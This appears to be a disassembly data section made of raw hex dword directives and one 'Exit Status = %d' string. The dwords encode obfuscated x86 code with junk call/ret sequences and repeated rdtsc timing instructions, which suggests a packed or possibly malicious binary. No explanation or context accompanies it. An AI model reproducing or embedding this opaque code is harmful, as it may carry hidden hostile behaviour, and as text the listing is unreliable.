dd 5F12B0A1h, 7E473EFFh, 0A7h, 62h dup(0)
dd 43360000h, 5E0FADA1h, 614938F1h, 0DE10B4A9h, 76571EBFh
dd 12A2EE2Dh, 0D309BA90h, 44308D35h, 22616460h, 5E0EB5F3h
dd 334122F1h, 0C842AAE0h, 3B4419B7h, 15B0FF7Eh, 0BC42B5D5h
dd 4E3AFD56h, 2E607974h, 5C0EB5A1h, 33422DF7h, 0D742B0E0h
dd 3B5B03AAh, 0EAEE360h, 0D74CA1C2h, 5976C935h, 63717970h
dd 4940B4F3h, 335439F7h, 0D60DB6F9h, 355B0DAAh, 48h dup(0)
dd 43360000h, 5112A3A1h, 614327FBh, 0C542B7AEh, 3B5A03B7h
dd 41B0E765h, 0D809BDD2h, 5E39CB7Bh, 70256E7Bh, 590EAEF4h
dd 7A062BF6h, 0DE1BE4E7h, 68161EADh, 4B7F574h, 0BB66F6DDh
dd 4A33C10Bh, 22296F66h, 5F0CAEF4h, 7A0628F9h, 0C304E4FDh
dd 761601B7h, 13ACEB68h, 0D80DF8C9h, 4E248D3Fh, 70647E66h
dd 5F19E0F5h, 63063EEDh, 0C305ABFBh, 1801B9h, 61h dup(0)
dd 44360000h, 1005ACE8h, 615423FBh, 0D416B4FCh, 3B184DBCh
dd 12AAEE59h, 0D91EA890h, 4637DF3Ch, 71646235h, 5505A2A1h
dd 724B6CF6h, 0C412ADE7h, 7E420DB4h, 0FA2A669h, 0D701F8D4h
dd 2133CF22h, 25716318h, 5E09E0F2h, 674529FEh, 0D342A0ECh
dd 3B574CA1h, 14B1EF5Bh, 0C403F8C3h, 4A24CE7Bh, 66606176h
dd 5834E0AFh, 75063FF1h, 9107A8E0h, 3C5803AFh, 0EB4A679h
dd 0D74CB3C2h, 443BD435h, 2B6F67h, 0E0h dup(0)
dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD db 'Exit Status = %d',0
align 4
dd 0
dd 2CF1E900h, 0D3810000h, 3D6B184Ch, 12E8FCh, 0E29A0000h
dd 0A3B76D2Dh, 0BE679452h, 920742DEh, 52DF1677h, 2FF59589h
dd 8B5A061Fh, 0D0C280C0h, 6C1BD83h, 7500061Fh, 51BD8309h
dd 61F1Fh, 53501374h, 1B8C08Bh, 8D000000h, 21AE469Dh, 5BD3FF06h
dd 51BD8358h, 61F1Fh, 53501174h, 1B8h, 0F79D8D00h, 0FF0621ACh
dd 0F585BD3h, 8B66D8BFh, 6AC08BDAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 2846C350h
dd 77F4AD09h, 12E9h, 95255F00h, 0F9076FDEh, 0A69B40D7h
dd 92DE0E43h, 66B88C68h, 0BD83D18Bh, 61F06B1h, 4B840F00h
dd 83000001h, 1F2739BDh, 840F0006h, 13Eh, 42D0B6BBh, 6A605Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 45EF55C3h, 14519D8Bh, 858B061Fh, 61F2739h, 6E9h, 0EB8FFE00h
dd 5509256h, 3E8h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0AEC35141h, 0C275166h, 0C28166BFh, 4FB38C3Ch
dd 0D98B6690h, 52505050h, 8A0Fh, 310F0000h, 8F0Fh, 585A0000h
dd 0BB66905Bh, 858D8844h, 61F4D8Ch, 50B0E280h, 89DF8B66h
dd 9D8B2404h, 61F0665h, 6880Fh, 85890000h, 61F16E9h, 4D6A858Dh
dd 0D381061Fh, 31FA562Dh, 54BB6690h, 0BA6650D2h, 0F90B3E1h
dd 688h, 91952900h, 0FF061F07h, 1F00A195h, 15BD2906h, 83061F0Fh
dd 958B0CC4h, 61F09A5h, 4D6A858Dh, 0BD29061Fh, 61F108Dh
dd 89D98A50h, 95892404h, 61F2CB1h, 8B60026Ah, 9D9589CBh
dd 61061F19h, 857495FFh, 810F0068h, 0Ch, 68F0Fh, 95330000h
dd 61F10C9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 24211671h, 85C70A9Bh, 61F4D9Dh, 1
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6CC35747h
dd 0BB66500Ch, 3489C0CAh, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B5892B10h
dd 61F4D4Eh, 110D9D89h, 0BD83061Fh, 61F0EF5h, 20850F01h
dd 81000000h, 0C01F3CDBh, 5F8831Eh, 11850Fh, 81660000h
dd 0B8E3DCE3h, 0
dd 0CB816656h, 835AA445h, 1F2C31BDh, 840F0006h, 0Ch, 0B86AE380h
dd 0
dd 1EF380F5h, 0E3816660h, 0BF0F94F2h, 51858BD8h, 66061F17h
dd 83B3DBBAh, 6A02C0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0EF43FDC3h, 0E0838803h, 0F8C74355h
dd 4D468589h, 0FE9061Fh, 0A6000000h, 8C24F49Ch, 4EB7E234h
dd 35C66141h, 0C6221Ch, 89D48AFFh, 1F0B3595h, 2585C606h
dd 53061F20h, 68D08B66h, 0E04AA5B4h, 48109B3h, 66A32424h
dd 0FF75B31Ch, 1F3271B5h, 0D38B6606h, 7993858Dh, 6A0622h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0DF32F0C3h, 0A7E2441Eh, 4C40BA34h, 0D0FF68E4h, 89D18B66h
dd 1F1D4585h, 0C99D2906h, 66061F0Bh, 55C5D281h, 2329BD83h
dd 0F01061Fh, 15285h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0B24F5E13h, 55CCFA82h
dd 61DCC380h, 0D55958Bh, 85C6061Fh, 61F2025h, 0B5858945h
dd 68061F2Ch, 0CE667465h, 48D0Fh, 0BB660000h, 481406Eh
dd 0F9C45D24h, 51006A0Bh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0AAF37EDBh, 51C7F7F2h
dd 8E9h, 0B55B0C00h, 2FE23CE1h, 98B65BC2h, 3271B5FFh, 6A061Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0C1043CC3h, 8B23CE08h, 1F02819Dh, 0D2816606h, 958B380Dh
dd 61F08A1h, 7993858Dh, 0CF800622h, 6AD0FF57h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 5B89C356h, 0B98F1C90h, 0DBA66F6h, 38F0FEDh, 66000000h
dd 9D89D38Bh, 61F2371h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0EB2AEBC3h, 0E148C963h
dd 8BC915D9h, 1F2FA995h, 0C59D8B06h, 0FF061F19h, 56006AD0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 59958BE0h, 83061F0Ah, 1F2AE9BDh, 850F0106h, 127h, 8B2BB660h
dd 858B61D3h, 61F1751h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0B2C35242h, 9FE9E0h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0A2A999C3h, 9D8B5873h, 61F0F15h, 12E9h, 0E8E70700h
dd 5105E75Ah, 3D30DF44h, 65D6C7E9h, 90220E7Fh, 52505250h
dd 4866BA66h, 0BA66310Fh, 585A94D8h, 0D98A310Fh, 0B350585Ah
dd 0EB8190FAh, 71376DF4h, 0F098589h, 146A061Fh, 95FFD88Bh
dd 61F1D45h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 7FC35646h, 78BD0773h, 58A9BFC7h, 583CEE80h, 148EF80h
dd 1F23A59Dh, 388006h, 0FF95850Fh, 6AFFFFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E2D934C3h
dd 8B14536Ah, 1F074D95h, 199D8B06h, 0C6061F1Bh, 6A0100h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 56A8D3C3h, 615B45B3h, 0E6D9D8Bh, 0BD83061Fh, 61F1D5Dh
dd 62840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0C6A8C355h, 8A0F239Eh
dd 3, 6ADFBF0Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 9C3287D4h, 95FFB8C0h
dd 61F1D45h, 66D68B66h, 0E96F41BAh, 0FFFFFFCBh, 0B99C10BAh
dd 5D85C714h, 1061F1Dh, 66000000h, 9589D98Bh, 61F3281h
dd 4D528589h, 9D8B061Fh, 61F0AE9h, 52506050h, 310FB2B4h
dd 0EE8h, 0A0030700h, 632AB32Dh, 2EF322BEh, 58910119h
dd 0D1BE585Ah, 61020BEAh, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8F7C355h
dd 60D18B66h, 6AD3D680h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 96A1B64Fh, 894B68A7h
dd 1F2BD58Dh, 6A858D06h, 66061F4Dh, 506474BBh, 89DA8B66h
dd 0D2812404h, 18B18D63h, 0E21ADEBBh, 5A858D32h, 6A061F4Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0E5CDC351h, 13E89095h, 0FE000000h, 0ADFA6DAEh
dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 68BA4240h, 5B57F390h
dd 60525050h, 61DA8B66h, 8B66310Fh, 90585ADAh, 95FFD68Bh
dd 61F06E5h, 0D9BF0F52h, 238D8D5Bh, 0E8061F7Ah, 0Bh, 622A70E5h
dd 0E39E064Eh, 5B3979C0h, 1174C00Bh, 4D6A858Dh, 0FF50061Fh
dd 888589D1h, 0EB061F4Dh, 8885C70Ah, 0FF061F4Dh, 66FFFFFFh
dd 0FE9DE8Bh, 6A000000h, 7CE3BAABh, 69F6BECFh, 2233D378h
dd 66617B56h, 0C6BC48BAh, 1F202585h, 8B604D06h, 1F24A185h
dd 0AE806h, 98360000h, 3F778165h, 3C24A44Bh, 15919D09h
dd 615B061Fh, 0A7478B68h, 0E8525028h, 12h, 0ED7EAD9Bh
dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 8B661B7Dh, 310F5BD1h
dd 11E85250h, 29000000h, 1F23A8BEh, 0DDB8C213h, 0A97E513Fh
dd 0A47BC129h, 5A310F5Bh, 81585A58h, 2F1D2404h, 958B7B8Eh
dd 61F1AE1h, 2A79B5FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0D09F93C3h, 0A0988BFBh
dd 890FF6B2h, 2, 858DDE8Bh, 6227993h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0E9C35040h, 8509AA3Ch, 61F0061h
dd 0B589D0FFh, 61F2CB5h, 16E58589h, 952B061Fh, 61F08F5h
dd 5B86D381h, 85C62DDFh, 61F2025h, 0DDB58945h, 0BB061F07h
dd 7D8FB95Fh, 0FCBF0D68h, 52505738h, 310F5250h, 310F585Ah
dd 5ADE8B66h, 4815B58h, 75AA5C24h, 51006A55h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 362AFC8Fh
dd 0B5FF1DC7h, 61F3271h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0F0C35646h, 0D7EB1E9Ch, 46DB3812h, 0CE968h
dd 1D110000h, 33FBD894h, 3BE15A6Ah, 858DD6FCh, 6227993h
dd 5A5952Bh, 0D0FF061Fh, 8589DA8Bh, 61F0EE1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 1EC35747h, 0B5892AB2h
dd 61F0E55h, 9589D28Bh, 61F0FB5h, 0FD98C66h, 1887h, 13E900h
dd 0B2A20000h, 0AE80D3D7h, 78487ADFh, 11D6DB28h, 0E6AFAF2Eh
dd 4C1F6B6h, 253840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 8B8F02C3h, 10AE9D9h
dd 95890000h, 61F1B2Dh, 1BB5B58Bh, 0BF0F061Fh, 810FB3DAh
dd 1180C6h, 38F0F00h, 80000000h, 0BD8344F2h, 61F09CDh
dd 36850F00h, 0F000000h, 0A82h, 4890F00h, 66000000h, 0E98C6ABAh
dd 0ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 62C35242h, 0DC13018Bh, 3E83FAh, 83840Fh, 26B70000h
dd 14C5958Bh, 8060061Fh, 146A99E7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 48C35040h, 0F4A0343Ah, 2D499589h
dd 95FF061Fh, 61F1D45h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 1FC35646h
dd 0F906C3h, 4E7DC405h, 399D8B8Fh, 61061F07h, 0E9AECA81h
dd 0AE9334Eh, 4C000000h, 1FE4AB1Ch, 80185DEAh, 0FF77E97Dh
dd 0B70FFFFFh, 106C7D6h, 0E8000000h, 0Eh, 3081B480h, 8341E02Fh
dd 0EDAA746Bh, 5AF8C72Fh, 4D52BD83h, 0F05061Fh, 11885h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0A5663AE2h, 33227E28h, 6EBA1163h, 8930F7A8h
dd 1F1C11BDh, 0E1B58B06h, 89061F0Eh, 1F070D95h, 64B906h
dd 0BD090000h, 61F2F41h, 0FE83E80h, 2C84h, 3FEA8100h, 0E921B611h
dd 31h, 13E8h, 0CFF39900h, 8C3492Fh, 0B654AC30h, 0B06DFC88h
dd 270F81CDh, 31852952h, 5B061F2Bh, 57E805Bh, 8A840FC2h
dd 81000000h, 0E25E8FE3h, 0F494623h, 0FFFFB385h, 53006AFFh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 13990E44h, 89F6A694h, 1F1B2D85h, 45952306h, 0F061F02h
dd 1C83h, 14E800h, 0EF9C0000h, 0A74630E2h, 0CE416558h
dd 7624D5Ah, 0A3692372h, 6160385Ch, 2FE95Bh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 5BCB45C3h, 8993DC7Ah, 1F0CF19Dh, 0A1B58906h, 0B2061F2Ah
dd 0BD8958E7h, 61F00F5h, 1D51BD83h, 0F00061Fh, 0BD84h
dd 4D858900h, 60061F0Eh, 14C9B589h, 85C6061Fh, 61F2025h
dd 5DDA6854h, 5250AF34h, 8E8h, 45114F00h, 0B57158A3h, 5ABEB33Fh
dd 8B66310Fh, 81585ADAh, 0E32E2434h, 8531507Ah, 61F11DDh
dd 12658D89h, 0B5FF061Fh, 61F3271h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 3AC35747h, 0FD7B519h, 68Dh
dd 0CD958900h, 8D061F16h, 22799385h, 0F3816606h, 0D0FF3483h
dd 1B999589h, 6A061Fh, 0DAD38166h, 51B5FF45h, 66061F1Dh
dd 0FF907ABAh, 0CE9D0h, 3F910000h, 0E2E95E65h, 8DC6E95Ah
dd 0B58982AEh, 61F30A9h, 0F2816661h, 0BA669AE6h, 85C7B377h
dd 61F078Dh, 1, 31A9B589h, 6A60061Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 4D01C357h
dd 15F54F97h, 0FD1DB01Dh, 9CEF3668h, 81F2B739h, 0EFB62434h
dd 8F0F399Ch, 3, 6A5AFC51h, 5E8FFh, 3D360000h, 60BE655Fh
dd 860Fh, 61FC0000h, 0F995FF5Bh, 0BA061F14h, 0F9DF7Fh
dd 299D2B61h, 90061F08h, 10E8h, 3AE8C700h, 0FAB6A6D4h
dd 0ED3571D8h, 0F8795140h, 5ADE8BB5h, 905A5350h, 5840Fh
dd 81660000h, 8B67D7E2h, 1F315585h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 558153EDh
dd 81028C6Ah, 0AC47A5F2h, 0FC00B2Bh, 1284h, 41BD8900h
dd 0FF061F15h, 1F233D95h, 0CD9D8906h, 0C7061F19h, 1F128185h
dd 106h, 9509F500h, 61F16A1h, 0DF9BD83h, 0F00061Fh, 1B84h
dd 0D1BD8900h, 89061F14h, 1F2AB99Dh, 1595FF06h, 81061F0Bh
dd 0CB159FEAh, 0D2BF0F0Eh, 1EA5BD83h, 0F00061Fh, 2F84h
dd 918D0100h, 0FF061F1Fh, 1F0A6D95h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E3C84279h
dd 0D8E835CAh, 235BD83h, 0F00061Fh, 2F84h, 0BD83FC00h
dd 61F0D75h, 21850F00h, 8B000000h, 1F08BD95h, 0F995FF06h
dd 0E8061F0Ah, 0Ah, 7E557D15h, 0D7550CC5h, 8166F64Ch, 5A12ACDAh
dd 839BD83h, 0F00061Fh, 8A84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0E6E384ACh
dd 65958BE2h, 81061F23h, 1F0F6585h, 400306h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0A8ED6DB3h, 331A1648h, 1F248595h, 95858106h, 3061F13h
dd 6A000040h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0C660C355h, 2E16F486h, 69B607E6h
dd 0FD7B70Fh, 8D8DFC31h, 61F5C4Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0CBC35747h, 0F092B60Eh, 31499D0Bh
dd 8057061Fh, 295A36DFh, 1F0DFD95h, 6A018906h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 6468C350h, 0CE908h, 7F340000h, 6A6B4907h, 0AF4A1B42h
dd 0BA6605CBh, 0C2338478h, 89D0B70Fh, 6A0441h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0D0F86EC3h, 5E9h, 1E703900h, 310F1917h, 7E9h, 47699F00h
dd 0BCA9EB68h, 5C818D8Dh, 958B061Fh, 61F2E99h, 0DDD1BB66h
dd 0CEBB0189h, 336F93AEh, 0C9BD89C2h, 89061F1Eh, 8E80441h
dd 0FA000000h, 1DD30243h, 0E950BB6Eh, 0Eh, 7FF140CDh, 0C50A113Ah
dd 84E8A1D0h, 835B9B9Fh, 1F2EF9BDh, 840F0006h, 30h, 6E9h
dd 8643DE00h, 0FFA6D7AFh, 1F0D6995h, 19880F06h, 52000000h
dd 12E9h, 0E25A7500h, 3E1A466Dh, 6EA6BCC4h, 1A42630Eh
dd 5A357FB2h, 13D5BD83h, 0F01061Fh, 4985h, 0A30BA00h, 3FE931C9h
dd 89000000h, 1F0E1995h, 0F2B58B06h, 0C7061F5Dh, 6, 7CB58B00h
dd 0C7061F5Bh, 6, 0D18BCF00h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0E9C35141h, 0BD83F995h, 61F1281h
dd 1840F00h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0E8F9C352h, 0CAD46E0Ch
dd 66974BF0h, 835EA8BBh, 1F2B9DBDh, 850F0106h, 0B9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AAC35343h, 8ABB4B74h
dd 468D8BD5h, 0B3061F4Dh, 1C693h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 22C35747h, 0E96073B3h, 13h
dd 9454FA3Ah, 0ED85131h, 817FDE25h, 745DEEC9h, 686D4714h
dd 0EF10C968h, 18240481h, 8B10EF37h, 1F0B899Dh, 0FFF6A06h
dd 95FFD9B7h, 61F14F9h, 13E961h, 54B10000h, 0E261C565h
dd 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0A59D01C2h, 0FF061F05h
dd 1F0FDD95h, 0F7D28006h, 4D468D8Bh, 8166061Fh, 0FEC438F2h
dd 0BCBA6601h, 2DBD8344h, 1061F31h, 6850Fh, 958B0000h
dd 61F05F9h, 0F53C08Bh, 0C8Ch, 7E900h, 0BC670000h, 0E5D9117Bh
dd 0BD835A39h, 61F06C1h, 83097500h, 1F1F51BDh, 1A740006h
dd 0C08B5350h, 0F65858Bh, 8589061Fh, 61F0F65h, 0AFA49D8Dh
dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50187400h, 65858B53h
dd 89061F0Fh, 1F0F6585h, 939D8D06h, 0FF0621ACh, 89585BD3h
dd 1F085D85h, 0DBBF0F06h, 8166C08Bh, 837C7AE2h, 1F1281BDh
dd 850F0006h, 4Dh, 60DABF0Fh, 0E830Fh, 9E90000h, 92000000h
dd 3C12F3E6h, 0C4800985h, 53D28160h, 0E96A56DAh, 14h, 79E85CB3h
dd 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 8186CD1Fh, 0BD836161h
dd 61F1AD9h, 6840F00h, 89000000h, 1F31B19Dh, 81BD8306h
dd 61F12h, 29840Fh, 10E90000h, 0E0000000h, 0A69284FDh
dd 0A2A99914h, 0C9E15873h, 8340FA8Eh, 1F2A45BDh, 840F0006h
dd 7, 8C24BA51h, 835A79B2h
dd 1F1281BDh, 840F0006h, 3Ah, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 8AD3014Bh, 958B98EEh
dd 61F0D65h, 2A45BD83h, 0F00061Fh, 584h, 0C3816600h, 0BD831615h
dd 61F1281h, 21840F00h, 66000000h, 8B5D15BAh, 1F00E99Dh
dd 0FDBD8306h, 61F2Fh, 0A840Fh, 53560000h, 2C6D9D23h, 5A5B061Fh
dd 1281BD83h, 0F00061Fh, 4284h, 68F0F00h, 33000000h, 1F119995h
dd 39BD8306h, 61F1Fh, 29840Fh, 0FFF50000h, 1F2E0D95h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 70C29B5Ch, 8B47D481h, 0D88B66C0h, 6C1BD83h, 7500061Fh
dd 51BD8309h, 61F1Fh, 53501A74h, 858BC08Bh, 61F1395h, 13958589h
dd 9D8D061Fh, 621B00Bh, 585BD3FFh, 1F51BD83h, 7400061Fh
dd 8B535018h, 1F139585h, 95858906h, 8D061F13h, 21ACAC9Dh
dd 5BD3FF06h, 0BD896058h, 61F1D41h, 0EE9h, 2009E500h, 0C4F58A1h
dd 0EFA18127h, 61839791h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 41C35242h, 0C08BDF8Bh, 12E8h, 64EBF500h
dd 5AA5486Dh, 69AF1872h, 0C1599777h, 0B36E9E8Bh, 0BD835B7Fh
dd 61F1281h, 68840F00h, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3EF6C352h
dd 0A8E82508h, 242D9503h, 0B860061Fh, 1BC77F3Eh, 83615957h
dd 1F2329BDh, 840F0206h, 1Dh, 25BD31h, 9D8B061Fh, 61F0E29h
dd 13D5BD83h, 0F01061Fh, 485h, 72BB6600h, 0B5BD839Ch, 61F16h
dd 0A5840Fh, 0BA660000h, 6A60A66Ch, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C029C351h
dd 0CF439D8Fh, 0E18A607Fh, 468D8B61h, 0FE061F4Dh, 0D78B6601h
dd 0AC77BBBh, 0ADF16874h, 10E94307h, 81000000h, 0B54AF8Dh
dd 0C5F57F72h, 0B8969871h, 81990151h, 0AD712434h, 60BB4307h
dd 6A4FBA12h, 10E9FFh, 185A0000h, 8B8EC807h, 0D12A894Dh
dd 480D736Dh, 95FF2445h, 61F14F9h, 6123EB80h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E3C35242h, 0B5C90613h
dd 60340D87h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 60C35646h, 4D468D8Bh, 8D89061Fh, 61F31D1h, 9D8B01FEh
dd 61F1DE9h, 0F5D9D33h, 0A168061Fh, 0E9D3147Dh, 14h, 5870A39Dh
dd 5B62D9B4h, 0ECE5CA33h, 51870922h, 0F3497FD6h, 0DF240481h
dd 292CEB82h, 1F129595h, 0FFF6A06h, 186h, 95FFF900h, 61F14F9h
dd 0FE9h, 25FC0000h, 0A9422094h, 0C7EAC9E5h, 0EEF5841h
dd 0C92DBB61h, 0BD8D710Ch, 61F31F9h, 8BD78B66h, 9D291C4Fh
dd 61F15A1h, 810F016Ah, 5, 51CA8166h, 52505009h, 5B5A5351h
dd 5256310Fh, 585A5B5Ah, 0F240C89h, 858DD8B7h, 6223DEBh
dd 20D58D89h, 0D0FF061Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 71C35747h, 0F95C7D72h, 0B6204F8Bh, 80036AC9h
dd 509172EFh, 0F89B352h, 13E831h, 541F0000h, 847497Bh
dd 0DE4CBF84h, 2746B000h, 87D441ABh, 5B616032h, 0BA50585Ah
dd 5926423Ch, 80F48A91h, 858D11D3h, 6223DEBh, 0BE9h, 0AA581600h
dd 62AC76E9h, 7C71E170h, 8B50D0FFh, 1F2A5995h, 9D8B5B06h
dd 61F07D1h, 31F9BD8Dh, 7E8061Fh, 0E6000000h, 575C5053h
dd 0F78039BFh, 4F8B5BF6h, 0B866601Ch, 6A615C97h, 79BD8901h
dd 3061F15h, 1F02859Dh, 52509106h, 5BD18B50h, 0F3BB310Fh
dd 5A15B839h, 8B665058h, 0E86091D6h, 0Bh, 42F31683h, 0CA7D280Ah
dd 80D9078Fh, 0BA5B2EE1h, 4B148A2Ch, 0EB858D61h, 8B06223Dh
dd 1F32C59Dh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 4989C356h, 39610A95h
dd 0F82F257h, 128Eh, 6E800h, 50B40000h, 0C6CDDF37h, 19A99589h
dd 95A061Fh, 1F2AD5B5h, 204F8B06h, 23E38166h, 0F3816652h
dd 36A2B4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0DBC35747h, 0D1D316A3h, 5CC84554h, 4E66BA6Fh, 605002D1h
dd 14E9CF8Bh, 0F3000000h, 6881BC95h, 7D3A2395h, 4D860154h
dd 5A5683D6h, 61DD8785h, 89240C89h, 1F13AD9Dh, 0EB858D06h
dd 0F06223Dh, 28Fh, 29D18B00h, 1F1CE995h, 89D0FF06h, 1F2EB58Dh
dd 468D8B06h, 0F061F4Dh, 887h, 9D0B5000h, 61F1B2Dh, 0E801FE5Ah
dd 14h, 5C380D63h, 0A615D4BFh, 21A52955h, 6E03D5D9h, 93E90141h
dd 830F51h, 5B000000h, 46858B5Bh, 6A061F4Dh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 0C91C356h, 9F163741h, 0F31677Dh, 0FED0BFh, 0EF712FBBh
dd 6A016A41h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 66CFC353h, 4E8D18Bh, 0FF000000h
dd 8BFFFF9Fh, 0B2BA50DAh, 8B76639Ah, 66042444h, 8BD1C5BAh
dd 0BA666000h, 89610B2Dh, 60042444h, 8B665861h, 0F5858DD1h
dd 6A06223Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 8BEDC356h, 0FFABD7DAh, 0B9958BD0h
dd 83061F2Dh, 1F1AD9BDh, 840F0006h, 135h, 0B58B5060h, 61F05BDh
dd 0BD836159h, 61F0EF5h, 1E850F01h, 6A000001h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 237C353h, 0E3802C3Fh, 0FF8D8D38h, 6A06223Dh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0B60EC356h, 0FC63F092h, 0B58905BEh, 61F3041h, 14E8036Ah
dd 35000000h, 9F02D71Bh, 45FD5349h, 118962C7h, 0D3CD1A7Fh
dd 0FF6FE36h, 6A5AD8BFh, 6D858901h, 0FF061F12h, 6A74B3D1h
dd 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 668AD662h, 77C1C381h, 0FE9h, 0A2203400h
dd 78917644h, 4A2930ABh, 0BF506CE5h, 0C830Fh, 8E0F0000h
dd 6, 1041958Bh, 16A061Fh, 4DCB8166h, 6AD1FF74h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 7F90C356h, 7DF8F143h, 0F907F29Ah, 3C5E47E8h, 55006AFAh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 3EB178E7h, 94267091h, 6A206AF5h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BAC5C355h
dd 4F576305h, 4BE28166h, 89FF6A81h, 1F2AC185h, 958D2906h
dd 0FF061F1Fh, 1F14F995h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 419D8977h
dd 0B8061F12h, 0
